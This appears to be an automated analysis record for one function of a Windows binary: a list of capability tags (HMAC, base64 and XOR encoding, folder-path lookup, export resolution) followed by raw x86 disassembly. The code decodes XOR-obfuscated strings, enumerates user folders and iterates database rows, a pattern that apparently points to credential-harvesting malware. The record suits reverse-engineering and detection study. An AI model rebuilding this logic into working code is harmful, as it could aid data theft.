Function at 0x425e40
Capabilities:
Authenticate hmac
Encode data using base64
Encode data using xor
Get common file path
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x505cd3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x868
push esi
mov esi, ecx
mov byte [ebp - 0x11], dl
mov dword [ebp - 0x188], esi
push edi
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push ecx
call fcn.004643f0
mov byte [ebp - 4], 3
sub esp, 0x10
mov eax, 1
mov dword [ebp - 0x18], esp
mov ecx, esp
mov dword [ebp - 0x1c], eax
sub esp, 8
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004643c0
add esp, 8
mov dword [ebp - 4], 4
lea ecx, [ebp - 0xda]
mov dword [ebp - 0xda], 0xfaeffdf8
mov word [ebp - 0xd6], 0xec
mov byte [ebp - 0xd4], 1
call fcn.00409530
push eax
mov ecx, esi
call fcn.0046a630
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.00464040
push 0x104
lea eax, [ebp - 0x878]
push 0
push eax
call fcn.004df810
add esp, 0xc
lea eax, [ebp - 0x878]
push eax
movzx eax, byte [ebp - 0x11]
xor eax, 1
push 0
push 0
lea eax, [eax*2 + 0x1a]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebx + 0xc]
push eax
lea edx, [ebp - 0x878]
lea ecx, [ebp - 0x178]
call fcn.0046a380
add esp, 4
mov dword [ebp - 4], 5
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
cmp byte [ebx + 8], 0
mov byte [ebp - 4], 6
jne 0x426165
sub esp, 0x18
lea eax, [ebp - 0x178]
mov ecx, esp
push eax
call fcn.00466580
push 0
mov dl, 1
lea ecx, [ebp - 0x184]
call fcn.00420b30
add esp, 0x1c
lea ecx, [ebp - 0x184]
mov byte [ebp - 4], 7
call fcn.004651c0
test eax, eax
jne 0x425fcd
call fcn.00468770
lea ecx, [ebp - 0x34]
call fcn.00468770
lea ecx, [ebp - 0x178]
call fcn.00402670
jmp 0x428888
xor edi, edi
mov dword [ebp - 0x20], edi
call fcn.004651c0
test eax, eax
je 0x426154
nop
push edi
lea ecx, [ebp - 0x184]
call fcn.004651a0
lea ecx, [ebp - 0x92]
mov word [ebp - 0x92], 0xc7
mov esi, eax
mov byte [ebp - 0x90], 1
call fcn.0040a450
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x5d8]
call fcn.0046a2c0
sub esp, 0x14
mov byte [ebp - 4], 8
mov ecx, esp
mov edx, eax
push esi
call fcn.0046a4e0
add esp, 4
lea ecx, [ebp - 0x1b4]
xor dl, dl
push 0
call fcn.00420b30
add esp, 0x1c
lea ecx, [ebp - 0x5d8]
mov byte [ebp - 4], 0xa
call fcn.00402670
lea ecx, [ebp - 0x1b4]
call fcn.004651c0
test eax, eax
je 0x42612e
mov ecx, dword [ebp - 0x1b0]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x1b4]
xor esi, esi
imul ecx
mov dword [ebp - 0x24], esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x42612e
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0x1b4]
call fcn.004651a0
push 0
lea ecx, [ebx + 0x24]
push ecx
mov ecx, eax
call fcn.00466030
cmp eax, 0xffffffff
je 0x426105
lea ecx, [ebp - 0x34]
xor esi, esi
call fcn.004651c0
mov dword [ebp - 0x44], eax
test eax, eax
je 0x4260ed
nop
push edi
lea ecx, [ebp - 0x184]
call fcn.004651a0
push esi
lea ecx, [ebp - 0x34]
mov edi, eax
call fcn.004651a0
mov edx, edi
mov ecx, eax
call fcn.0046a600
mov edi, dword [ebp - 0x20]
test al, al
jne 0x426102
inc esi
cmp esi, dword [ebp - 0x44]
jb 0x4260c0
push edi
lea ecx, [ebp - 0x184]
call fcn.004651a0
push eax
lea ecx, [ebp - 0x34]
call fcn.00465280
mov esi, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1b0]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x1b4]
inc esi
imul ecx
mov dword [ebp - 0x24], esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp esi, eax
jb 0x426090
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 7
call fcn.00468770
inc edi
lea ecx, [ebp - 0x184]
mov dword [ebp - 0x20], edi
call fcn.004651c0
cmp edi, eax
jb 0x425fe0
lea ecx, [ebp - 0x184]
mov byte [ebp - 4], 6
call fcn.00468770
jmp 0x426197
push 0x5214b8
lea ecx, [ebp - 0x2b8]
call fcn.00402710
lea eax, [ebp - 0x2b8]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [ebp - 0x34]
call fcn.00465220
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 6
call fcn.00402670
lea ecx, [ebp - 0x34]
call fcn.004651c0
test eax, eax
jne 0x4261d5
push 0x5214b8
lea ecx, [ebp - 0x2b8]
call fcn.00402710
lea eax, [ebp - 0x2b8]
mov byte [ebp - 4], 0xc
push eax
lea ecx, [ebp - 0x34]
call fcn.00465220
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 6
call fcn.00402670
lea ecx, [ebp - 0x95]
mov word [ebp - 0x95], 0xc7
mov byte [ebp - 0x93], 1
call fcn.0040a450
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x5f0]
call fcn.0046a2c0
sub esp, 0x14
mov byte [ebp - 4], 0xd
lea edx, [ebx + 0x3c]
mov ecx, esp
push edx
mov edx, eax
call fcn.0046a4e0
add esp, 4
call fcn.0040bf40
add esp, 0x18
mov byte [ebp - 0x11], al
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 4], 6
call fcn.00402670
cmp byte [ebp - 0x11], 0
jne 0x4262a6
movaps xmm0, xmmword [0x526750]
lea ecx, [ebp - 0x494]
sub esp, 0x18
mov word [ebp - 0x484], 0x100
movups xmmword [ebp - 0x494], xmm0
mov esi, esp
call fcn.0040ee50
push eax
lea edx, [ebp - 0x178]
mov ecx, esi
call fcn.0046a2c0
add esp, 4
call fcn.0040bf40
add esp, 0x18
test al, al
je 0x4262a6
movaps xmm0, xmmword [0x525dc0]
lea ecx, [ebp - 0x4c7]
movups xmmword [ebp - 0x4c7], xmm0
mov byte [ebp - 0x4b7], 1
call fcn.0040ee80
push eax
lea ecx, [ebx + 0x3c]
call fcn.004663a0
lea ecx, [ebp - 0x98]
mov word [ebp - 0x98], 0xc7
mov byte [ebp - 0x96], 1
call fcn.0040a450
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x608]
call fcn.0046a2c0
sub esp, 0x14
mov byte [ebp - 4], 0xe
lea edx, [ebx + 0x3c]
mov ecx, esp
push edx
mov edx, eax
call fcn.0046a4e0
add esp, 4
lea ecx, [ebp - 0x3bc]
call fcn.0040b920
add esp, 0x18
lea ecx, [ebp - 0x608]
mov byte [ebp - 4], 0x10
call fcn.00402670
push 0x5214b8
lea ecx, [ebp - 0x38c]
call fcn.00402710
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x3ac], 0
je 0x4264d4
sub esp, 0x28
lea edx, [ebp - 0x3bc]
mov eax, esp
lea ecx, [ebp - 0x3d0]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.0046a9c0
add esp, 0x30
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x102]
mov dword [ebp - 0x102], 0xfdc2eff4
mov dword [ebp - 0xfe], 0xd6d1d9ed
mov word [ebp - 0xfa], 0x100
call fcn.0040eeb0
push eax
lea ecx, [ebp - 0x3d0]
call fcn.0046a630
cmp byte [eax], 0
je 0x4264c5
lea ecx, [ebp - 0x10c]
mov dword [ebp - 0x10c], 0xfdc2eff4
mov dword [ebp - 0x108], 0xd6d1d9ed
mov word [ebp - 0x104], 0x100
call fcn.0040eeb0
push eax
lea ecx, [ebp - 0x3d0]
call fcn.0046a630
lea ecx, [ebp - 0x152]
mov dword [ebp - 0x152], 0xecfef2fe
mov esi, eax
mov dword [ebp - 0x14e], 0xc7d5d0e6
mov dword [ebp - 0x14a], 0xc3cefbc7
mov word [ebp - 0x146], 0xde
mov byte [ebp - 0x144], 1
call fcn.0040a750
push eax
mov ecx, esi
call fcn.0046a630
cmp byte [eax], 0
je 0x4264c5
lea ecx, [ebp - 0x116]
mov dword [ebp - 0x116], 0xfdc2eff4
mov dword [ebp - 0x112], 0xd6d1d9ed
mov word [ebp - 0x10e], 0x100
call fcn.0040eeb0
push eax
lea ecx, [ebp - 0x3d0]
call fcn.0046a630
lea ecx, [ebp - 0x134]
mov dword [ebp - 0x134], 0xecfef2fe
mov esi, eax
mov dword [ebp - 0x130], 0xc7d5d0e6
mov dword [ebp - 0x12c], 0xc3cefbc7
mov word [ebp - 0x128], 0xde
mov byte [ebp - 0x126], 1
call fcn.0040a750
push eax
mov ecx, esi
call fcn.0046a630
lea ecx, [ebp - 0x638]
push ecx
mov ecx, eax
call fcn.0046a770
mov edx, eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x620]
call fcn.00402550
push eax
lea ecx, [ebp - 0x38c]
call fcn.00466400
lea ecx, [ebp - 0x620]
call fcn.00402670
lea ecx, [ebp - 0x638]
call fcn.00402670
lea ecx, [ebp - 0x3d0]
mov byte [ebp - 4], 0x11
call fcn.00464020
mov ecx, dword [ebp - 0x30]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x34]
xor edi, edi
imul ecx
mov dword [ebp - 0x20], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x42877f
cmp byte [ebx + 8], 0
je 0x42651a
push 0x5214b8
lea ecx, [ebp - 0x668]
call fcn.00402710
mov esi, eax
mov byte [ebp - 4], 0x14
mov edi, dword [ebp - 0x1c]
or edi, 2
jmp 0x426560
lea ecx, [ebp - 0x9b]
mov word [ebp - 0x9b], 0xc7
mov byte [ebp - 0x99], 1
call fcn.0040a450
push edi
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.004651a0
push esi
mov edx, eax
lea ecx, [ebp - 0x650]
call fcn.0046a2c0
add esp, 4
mov esi, eax
mov dword [ebp - 4], 0x15
mov edi, dword [ebp - 0x1c]
or edi, 4
lea ecx, [ebp - 0x47]
mov dword [ebp - 0x1c], edi
mov word [ebp - 0x47], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x45], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426573
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x168]
sub eax, edx
cmp eax, ecx
jb 0x4288b5
cmp dword [ebp - 0x164], 0x10
lea eax, [ebp - 0x178]
push ecx
cmovae eax, dword [ebp - 0x178]
lea ecx, [ebp - 0x47]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x410]
call fcn.0046dfc0
or edi, 0x200
mov dword [ebp - 0x1c], edi
push esi
lea eax, [ebp - 0x410]
mov dword [ebp - 4], 0x16
push eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3f8]
call fcn.0046ddd0
or edi, 0x400
mov dword [ebp - 0x1c], edi
sub esp, 0x18
mov byte [ebp - 4], 0x17
mov esi, esp
lea eax, [ebx + 0x3c]
lea ecx, [ebp - 0x3f8]
mov dword [ebp - 0x18], esi
push eax
call fcn.00466300
xorps xmm0, xmm0
or edi, 0x800
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x1c], edi
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.0040bf40
add esp, 0x18
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x3e4]
test al, al
sete byte [ebp - 0x11]
cmp ecx, 0x10
jb 0x42668f
mov edx, dword [ebp - 0x3f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426685
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4288ba
push ecx
push edx
call fcn.004dd831
add esp, 8
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x3fc]
mov dword [ebp - 0x3e8], 0
mov dword [ebp - 0x3e4], 0xf
mov byte [ebp - 0x3f8], 0
cmp ecx, 0x10
jb 0x4266e8
mov edx, dword [ebp - 0x410]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4266de
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4288ba
push ecx
push edx
call fcn.004dd831
add esp, 8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x400], 0
mov dword [ebp - 0x3fc], 0xf
mov byte [ebp - 0x410], 0
test al, 4
je 0x42671e
and eax, 0xfffffffb
lea ecx, [ebp - 0x650]
mov dword [ebp - 0x1c], eax
call fcn.00402670
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], 0x11
test al, 2
je 0x42673a
and eax, 0xfffffffd
lea ecx, [ebp - 0x668]
mov dword [ebp - 0x1c], eax
call fcn.00402670
cmp byte [ebp - 0x11], 0
je 0x42688f
cmp byte [ebx + 8], 0
je 0x426782
movaps xmm0, xmmword [0x525dc0]
lea ecx, [ebp - 0x4b6]
movups xmmword [ebp - 0x4b6], xmm0
mov byte [ebp - 0x4a6], 1
call fcn.0040ee80
push eax
lea ecx, [ebp - 0x6b0]
call fcn.00402710
mov esi, eax
mov byte [ebp - 4], 0x18
or dword [ebp - 0x1c], 8
jmp 0x4267cf
movaps xmm0, xmmword [0x526750]
lea ecx, [ebp - 0x482]
movups xmmword [ebp - 0x482], xmm0
mov word [ebp - 0x472], 0x100
call fcn.0040ee50
push dword [ebp - 0x20]
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.004651a0
push esi
mov edx, eax
lea ecx, [ebp - 0x698]
call fcn.0046a2c0
add esp, 4
mov esi, eax
mov dword [ebp - 4], 0x19
or dword [ebp - 0x1c], 0x10
lea ecx, [ebp - 0x9e]
mov word [ebp - 0x9e], 0xc7
mov byte [ebp - 0x9c], 1
call fcn.0040a450
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x680]
call fcn.0046a2c0
sub esp, 0x14
mov dword [ebp - 4], 0x1a
mov ecx, esp
mov edx, eax
push esi
call fcn.0046a540
add esp, 4
call fcn.0040bf40
add esp, 0x18
mov byte [ebp - 0x11], al
lea ecx, [ebp - 0x680]
call fcn.00402670
mov eax, dword [ebp - 0x1c]
test al, 0x10
je 0x426844
and eax, 0xffffffef
lea ecx, [ebp - 0x698]
mov dword [ebp - 0x1c], eax
call fcn.00402670
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], 0x11
test al, 8
je 0x426860
and eax, 0xfffffff7
lea ecx, [ebp - 0x6b0]
mov dword [ebp - 0x1c], eax
call fcn.00402670
cmp byte [ebp - 0x11], 0
je 0x42688f
movaps xmm0, xmmword [0x525dc0]
lea ecx, [ebp - 0x4a5]
movups xmmword [ebp - 0x4a5], xmm0
mov byte [ebp - 0x495], 1
call fcn.0040ee80
push eax
lea ecx, [ebx + 0x3c]
call fcn.004663a0
cmp byte [ebx + 8], 0
je 0x4268b4
push 0x5214b8
lea ecx, [ebp - 0x6f8]
call fcn.00402710
mov esi, eax
mov edi, dword [ebp - 0x20]
mov byte [ebp - 4], 0x1b
or dword [ebp - 0x1c], 0x20
jmp 0x4268fb
lea ecx, [ebp - 0x86]
mov word [ebp - 0x86], 0xc7
mov byte [ebp - 0x84], 1
call fcn.0040a450
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0x34]
push edi
mov esi, eax
call fcn.004651a0
push esi
mov edx, eax
lea ecx, [ebp - 0x6e0]
call fcn.0046a2c0
add esp, 4
mov esi, eax
mov dword [ebp - 4], 0x1c
or dword [ebp - 0x1c], 0x40
lea ecx, [ebp - 0x89]
mov word [ebp - 0x89], 0xc7
mov byte [ebp - 0x87], 1
call fcn.0040a450
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x458]
call fcn.0046a2c0
add esp, 4
push esi
mov edx, eax
mov dword [ebp - 4], 0x1d
lea ecx, [ebp - 0x6c8]
call fcn.0046a540
sub esp, 0x14
mov byte [ebp - 4], 0x1e
lea edx, [ebx + 0x3c]
mov ecx, esp
push edx
mov edx, eax
call fcn.0046a4e0
add esp, 4
lea ecx, [ebp - 0x3a4]
call fcn.0040b920
add esp, 0x18
lea ecx, [ebp - 0x6c8]
call fcn.00402670
mov byte [ebp - 4], 0x21
mov ecx, dword [ebp - 0x444]
cmp ecx, 0x10
jb 0x4269ae
mov edx, dword [ebp - 0x458]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4269a4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4288ba
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0x448], 0
mov dword [ebp - 0x444], 0xf
mov byte [ebp - 0x458], 0
mov eax, dword [ebp - 0x1c]
test al, 0x40
je 0x4269e4
and eax, 0xffffffbf
lea ecx, [ebp - 0x6e0]
mov dword [ebp - 0x1c], eax
call fcn.00402670
mov eax, dword [ebp - 0x1c]
test al, 0x20
je 0x4269f9
and eax, 0xffffffdf
lea ecx, [ebp - 0x6f8]
mov dword [ebp - 0x1c], eax
call fcn.00402670
xorps xmm0, xmm0
mov dword [ebp - 0x278], 0
movups xmmword [ebp - 0x288], xmm0
mov dword [ebp - 0x274], 0xf
mov byte [ebp - 0x288], 0
mov byte [ebp - 4], 0x24
cmp dword [ebp - 0x394], 0
je 0x426bf2
cmp dword [ebp - 0x37c], 0
jne 0x426bf2
sub esp, 0x28
lea edx, [ebp - 0x3a4]
mov eax, esp
lea ecx, [ebp - 0x3e0]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.0046a9c0
add esp, 0x30
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0xee]
mov dword [ebp - 0xee], 0xfdc2eff4
mov dword [ebp - 0xea], 0xd6d1d9ed
mov word [ebp - 0xe6], 0x100
call fcn.0040eeb0
push eax
lea ecx, [ebp - 0x3e0]
call fcn.0046a630
cmp byte [eax], 0
je 0x426bd9
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0xf8], 0xfdc2eff4
mov dword [ebp - 0xf4], 0xd6d1d9ed
mov word [ebp - 0xf0], 0x100
call fcn.0040eeb0
push eax
lea ecx, [ebp - 0x3e0]
call fcn.0046a630
lea ecx, [ebp - 0x125]
mov dword [ebp - 0x125], 0xecfef2fe
mov esi, eax
mov dword [ebp - 0x121], 0xc7d5d0e6
mov dword [ebp - 0x11d], 0xc3cefbc7
mov word [ebp - 0x119], 0xde
mov byte [ebp - 0x117], 1
call fcn.0040a750
push eax
mov ecx, esi
call fcn.0046a630
cmp byte [eax], 0
je 0x426bd9
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xe4], 0xfdc2eff4
mov dword [ebp - 0xe0], 0xd6d1d9ed
mov word [ebp - 0xdc], 0x100
call fcn.0040eeb0
push eax
lea ecx, [ebp - 0x3e0]
call fcn.0046a630
lea ecx, [ebp - 0x143]
mov dword [ebp - 0x143], 0xecfef2fe
mov esi, eax
mov dword [ebp - 0x13f], 0xc7d5d0e6
mov dword [ebp - 0x13b], 0xc3cefbc7
mov word [ebp - 0x137], 0xde
mov byte [ebp - 0x135], 1
call fcn.0040a750
push eax
mov ecx, esi
call fcn.0046a630
lea ecx, [ebp - 0x728]
push ecx
mov ecx, eax
call fcn.0046a770
mov edx, eax
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x710]
call fcn.00402550
push eax
lea ecx, [ebp - 0x288]
call fcn.00466400
lea ecx, [ebp - 0x710]
call fcn.00402670
lea ecx, [ebp - 0x728]
call fcn.00402670
lea ecx, [ebp - 0x3e0]
mov byte [ebp - 4], 0x24
call fcn.00464020
mov eax, dword [ebp - 0x278]
test eax, eax
jne 0x426c0c
lea eax, [ebp - 0x38c]
push eax
lea ecx, [ebp - 0x288]
call fcn.004663d0
mov eax, dword [ebp - 0x278]
test eax, eax
setne byte [ebp - 0x11]
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x340]
push 0
mov byte [ebp - 0x348], 0
call fcn.00467f80
mov byte [ebp - 4], 0x28
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x18], esp
sub esp, 8
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004643c0
add esp, 8
push edi
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x29
call fcn.004651a0
push eax
lea ecx, [ebp - 0x348]
call fcn.00463c80
mov ecx, eax
mov byte [ebp - 4], 0x28
call fcn.00464040
cmp byte [ebx + 8], 0
je 0x426c97
push 0x5214b8
lea ecx, [ebp - 0x770]
call fcn.00402710
mov esi, eax
mov byte [ebp - 4], 0x2a
or dword [ebp - 0x1c], 0x80
jmp 0x426cde
lea ecx, [ebp - 0x8c]
mov word [ebp - 0x8c], 0xc7
mov byte [ebp - 0x8a], 1
call fcn.0040a450
push edi
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.004651a0
push esi
mov edx, eax
lea ecx, [ebp - 0x758]
call fcn.0046a2c0
add esp, 4
mov esi, eax
mov dword [ebp - 4], 0x2b
or dword [ebp - 0x1c], 0x100
lea ecx, [ebp - 0x8f]
mov word [ebp - 0x8f], 0xc7
mov byte [ebp - 0x8d], 1
call fcn.0040a450
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x740]
call fcn.0046a2c0
add esp, 4
push esi
mov edx, eax
mov dword [ebp - 4], 0x2c
lea ecx, [ebp - 0x470]
call fcn.0046a540
add esp, 4
lea ecx, [ebx + 0x24]
mov byte [ebp - 4], 0x2d
push ecx
mov edx, eax
lea ecx, [ebp - 0x538]
call fcn.0046a4e0
add esp, 4
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0x45c]
cmp ecx, 0x10
jb 0x426d7c
mov edx, dword [ebp - 0x470]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426d72
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4288ba
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0x460], 0
mov dword [ebp - 0x45c], 0xf
mov byte [ebp - 0x470], 0
lea ecx, [ebp - 0x740]
call fcn.00402670
mov eax, dword [ebp - 0x1c]
test eax, 0x100
je 0x426dc2
and eax, 0xfffffeff
lea ecx, [ebp - 0x758]
mov dword [ebp - 0x1c], eax
call fcn.00402670
mov eax, dword [ebp - 0x1c]
mov byte [ebp - 4], 0x32
test al, al
jns 0x426ddd
and eax, 0xffffff7f
lea ecx, [ebp - 0x770]
mov dword [ebp - 0x1c], eax
call fcn.00402670
lea ecx, [ebp - 0x538]
call fcn.004027b0
lea edx, [ebp - 0x44]
mov ecx, eax
call fcn.00414580
test eax, eax
jne 0x428651
movaps xmm0, xmmword [0x526a90]
lea ecx, [ebp - 0x5bf]
movups xmmword [ebp - 0x5bf], xmm0
mov dword [ebp - 0x53f], 0x7a6f7d78
movaps xmm0, xmmword [0x527880]
movups xmmword [ebp - 0x5af], xmm0
mov word [ebp - 0x53b], 0x6c
movaps xmm0, xmmword [0x5262a0]
movups xmmword [ebp - 0x59f], xmm0
mov byte [ebp - 0x539], 1
movaps xmm0, xmmword [0x5263b0]
movups xmmword [ebp - 0x58f], xmm0
movaps xmm0, xmmword [0x526010]
movups xmmword [ebp - 0x57f], xmm0
movaps xmm0, xmmword [0x526200]
movups xmmword [ebp - 0x56f], xmm0
movaps xmm0, xmmword [0x525f50]
movups xmmword [ebp - 0x55f], xmm0
movaps xmm0, xmmword [0x525f30]
movups xmmword [ebp - 0x54f], xmm0
call fcn.004288c0
push ecx
lea ecx, [ebp - 0x28]
mov edx, eax
push ecx
push ecx
mov ecx, dword [ebp - 0x44]
call fcn.004c3080
add esp, 0xc
test eax, eax
jne 0x427c95
mov esi, dword [ebp - 0x28]
mov ecx, esi
call fcn.0049f880
lea edi, [edi + edi*2]
shl edi, 3
mov dword [ebp - 0x24], edi
cmp eax, 0x64
jne 0x427c8c
nop word [eax + eax]
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x190]
push 0
mov byte [ebp - 0x198], 0
call fcn.00467f80
mov byte [ebp - 4], 0x34
test esi, esi
je 0x426f3b
cmp dword [esi + 0x2c], 0
je 0x426f16
xor eax, eax
cmp ax, word [esi + 0x30]
jae 0x426f16
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x426f11
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [esi + 0x2c]
jmp 0x426f40
mov eax, dword [esi]
test eax, eax
je 0x426f3b
mov eax, dword [eax + 0x44]
test eax, eax
je 0x426f2d
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov dword [ebp - 0x18], eax
test esi, esi
je 0x426f9d
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x426f80
cmp byte [edi + 0x1e], 0
jne 0x426f65
cmp ecx, 0xc0a
jne 0x426f7b
push 0
push 7
push edi
call fcn.0048e230
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x426f85
mov eax, 0xff
and eax, ecx
mov dword [esi + 0x64], eax
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x426f9d
push eax
call dword [0x534d50]
add esp, 4
mov esi, dword [ebp - 0x18]
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x258], xmm0
mov byte [ebp - 0x260], 3
call fcn.004dd5b0
mov edx, eax
add esp, 4
lea eax, [ebp - 0x154]
mov dword [ebp - 0x31c], edx
mov dword [ebp - 0x320], eax
mov byte [ebp - 4], 0x35
mov ecx, esi
xorps xmm0, xmm0
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea edi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426ff0
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.00402870
mov eax, dword [ebp - 0x31c]
mov dword [ebp - 0x31c], 0
mov dword [ebp - 0x258], eax
mov byte [ebp - 4], 0x36
xor ecx, ecx
mov dword [ebp - 0xc7], 0xfbf0fdf5
mov dword [ebp - 0xc3], 0xfdcfcfc0
mov dword [ebp - 0xbf], 0xc2d7c5c0
mov word [ebp - 0xbb], 0x100
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0xc7], al
inc ecx
cmp ecx, 0xc
jb 0x427045
lea eax, [ebp - 0xc7]
mov byte [ebp - 0xba], 0
push eax
lea ecx, [ebp - 0x198]
call fcn.0046a630
mov byte [ebp - 4], 0x34
mov edi, eax
mov cl, byte [ebp - 0x260]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x254]
mov eax, dword [ebp - 0x258]
mov byte [ebp - 0x260], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x260]
mov dword [ebp - 0x258], edx
mov dword [ebp - 0x254], esi
call fcn.00464020
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x42710c
cmp dword [esi + 0x2c], 0
je 0x4270e7
mov eax, 1
cmp ax, word [esi + 0x30]
jae 0x4270e7
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4270df
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0x28
jmp 0x427111
mov eax, dword [esi]
test eax, eax
je 0x42710c
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4270fe
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov dword [ebp - 0x18], eax
test esi, esi
je 0x42716e
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x427151
cmp byte [edi + 0x1e], 0
jne 0x427136
cmp ecx, 0xc0a
jne 0x42714c
push 0
push 7
push edi
call fcn.0048e230
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x427156
mov eax, 0xff
and eax, ecx
mov dword [esi + 0x64], eax
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42716e
push eax
call dword [0x534d50]
add esp, 4
mov esi, dword [ebp - 0x18]
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x268], xmm0
mov byte [ebp - 0x270], 3
call fcn.004dd5b0
mov edx, eax
add esp, 4
lea eax, [ebp - 0x157]
mov dword [ebp - 0x314], edx
mov dword [ebp - 0x318], eax
mov byte [ebp - 4], 0x37
mov ecx, esi
xorps xmm0, xmm0
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
